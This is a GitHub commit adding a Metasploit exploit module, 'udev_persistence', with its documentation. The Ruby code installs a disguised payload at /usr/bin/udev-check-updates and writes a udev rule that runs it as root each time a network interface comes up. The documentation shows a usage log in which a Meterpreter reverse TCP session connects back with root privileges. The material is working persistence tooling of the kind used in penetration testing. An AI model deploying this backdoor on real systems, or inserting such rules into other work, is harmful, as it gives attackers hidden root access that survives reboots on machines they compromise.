Skip to content

Commit 51ee269

Browse files
jvoisinjheysel-r7
andcommitted
Add modules/exploits/linux/local/udev_persistence.rb
Co-authored-by: jheysel-r7 <[email protected]>
1 parent 00b1d8f commit 51ee269

File tree

2 files changed

+108
-0
lines changed

2 files changed

+108
-0
lines changed
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
This is a post module that performs a persistence installation on a Linux system using [udev](https://en.wikipedia.org/wiki/Udev).
2+
The persistence execution with be triggered with root privileges everytime a network interface other than l0 comes up.
3+
4+
## Verification Steps
5+
6+
1. Start msfconsole
7+
2. Obtain a session on the target machine
8+
3. `use exploit/linux/local/udev_persistence`
9+
4. `set session -1`
10+
5. `exploit`
11+
12+
## Module usage
13+
14+
```
15+
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > use exploit/linux/local/udev_persistence
16+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
17+
msf6 exploit(linux/local/udev_persistence) > set session -1
18+
session => -1
19+
msf6 exploit(linux/local/udev_persistence) > exploit
20+
21+
[*] /usr/bin/udev-check-updates written
22+
[*] /lib/udev/rules.d/99-update.rules written
23+
msf6 exploit(linux/local/udev_persistence) >
24+
[*] Sending stage (3045380 bytes) to 172.18.49.39
25+
[*] Meterpreter session 2 opened (172.18.52.45:4444 -> 172.18.49.39:41848) at 2024-09-13 03:59:47 -0400
26+
msf6 exploit(linux/local/udev_persistence) > sessions -i -1
27+
[*] Starting interaction with 2...
28+
29+
meterpreter > getuid
30+
Server username: root
31+
meterpreter >
32+
```
33+
34+
## Options
35+
36+
### BACKDOOR_PATH
37+
38+
Specify the path of the file containing the udev rules. (Default: /lib/udev/rules.d/99-update.rules)
39+
40+
### PAYLOAD_PATH
41+
42+
Specify the name of the payload to execute upon persistence. (Default: /usr/bin/udev-check-updates)
43+
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Local
7+
8+
include Msf::Post::File
9+
include Msf::Post::Unix
10+
11+
def initialize(info = {})
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'udev persistence',
16+
'Description' => %q{
17+
This module will add a script in /lib/udev/rules.d/ in order to execute a payload written on disk.
18+
It'll be executed with root privileges everytime a network interface other than l0 comes up.
19+
},
20+
'License' => MSF_LICENSE,
21+
'Author' => [ 'Julien Voisin' ],
22+
'Platform' => [ 'unix', 'linux' ],
23+
'Arch' => ARCH_CMD,
24+
'SessionTypes' => [ 'shell', 'meterpreter' ],
25+
'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },
26+
'Targets' => [ ['Automatic', {}] ],
27+
'DefaultTarget' => 0,
28+
'DisclosureDate' => '1999-01-01',
29+
'Notes' => {
30+
'Stability' => [],
31+
'Reliability' => [EVENT_DEPENDENT],
32+
'SideEffects' => [ARTIFACTS_ON_DISK]
33+
},
34+
'References' => [
35+
['URL', 'https://www.aon.com/en/insights/cyber-labs/unveiling-sedexp'],
36+
['URL', 'https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/'],
37+
]
38+
)
39+
)
40+
register_options([ OptString.new('PAYLOAD_PATH', [true, 'The payload\'s path on disk', '/usr/bin/udev-check-updates']) ])
41+
register_options([ OptString.new('BACKDOOR_PATH', [true, 'The backdoor\'s path on disk', '/lib/udev/rules.d/99-update.rules']) ])
42+
end
43+
44+
def exploit
45+
unless writable? File.dirname(datastore['BACKDOOR_PATH'])
46+
fail_with Failure::BadConfig, "#{datastore['BACKDOOR_PATH']} is not writable"
47+
end
48+
if exists? datastore['BACKDOOR_PATH']
49+
fail_with Failure::BadConfig, "#{datastore['BACKDOOR_PATH']} is already present"
50+
end
51+
52+
unless writable? File.dirname(datastore['PAYLOAD_PATH'])
53+
fail_with Failure::BadConfig, "#{datastore['PAYLOAD_PATH']} is not writable"
54+
end
55+
if exists? datastore['PAYLOAD_PATH']
56+
fail_with Failure::BadConfig, "#{datastore['PAYLOAD_PATH']} is already present"
57+
end
58+
59+
upload_and_chmodx(datastore['PAYLOAD_PATH'], "#!/bin/sh\n#{payload.encoded}")
60+
print_status "#{datastore['PAYLOAD_PATH']} written"
61+
62+
write_file(datastore['BACKDOOR_PATH'], 'SUBSYSTEM=="net", KERNEL!="lo", RUN+="/usr/bin/at -M -f ' + datastore['PAYLOAD_PATH'] + ' now"')
63+
print_status "#{datastore['BACKDOOR_PATH']} written"
64+
end
65+
end

0 commit comments

Comments
 (0)